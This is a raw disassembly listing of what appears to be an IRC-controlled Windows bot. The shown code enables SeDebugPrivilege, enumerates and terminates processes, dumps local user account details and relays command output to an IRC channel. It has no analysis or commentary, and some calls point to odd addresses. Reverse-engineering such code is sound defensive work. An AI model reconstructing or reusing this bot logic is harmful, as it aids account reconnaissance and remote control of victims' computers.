mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A8[eax*4] push offset unk_439100 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439178 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439368 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_439334 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_43969C push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439670 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 27105C5h push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 26608E4h mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C8 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 28310ACh nop test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439728 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 2700B13h test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 2700B13h nop test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C8 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_4398A4 jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439880 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi call near ptr 26E0000h nop pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 2680284h mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 2700B13h test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 26608E4h loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396C4h, 2574ADE8h, 0E3EB9002h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC nop call near ptr 26F0000h test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 2670ECAh push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 nop call near ptr 2831AB6h test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 nop call near ptr 28315AEh test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah call near ptr 2670ECAh nop jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 nop call near ptr 2700000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: 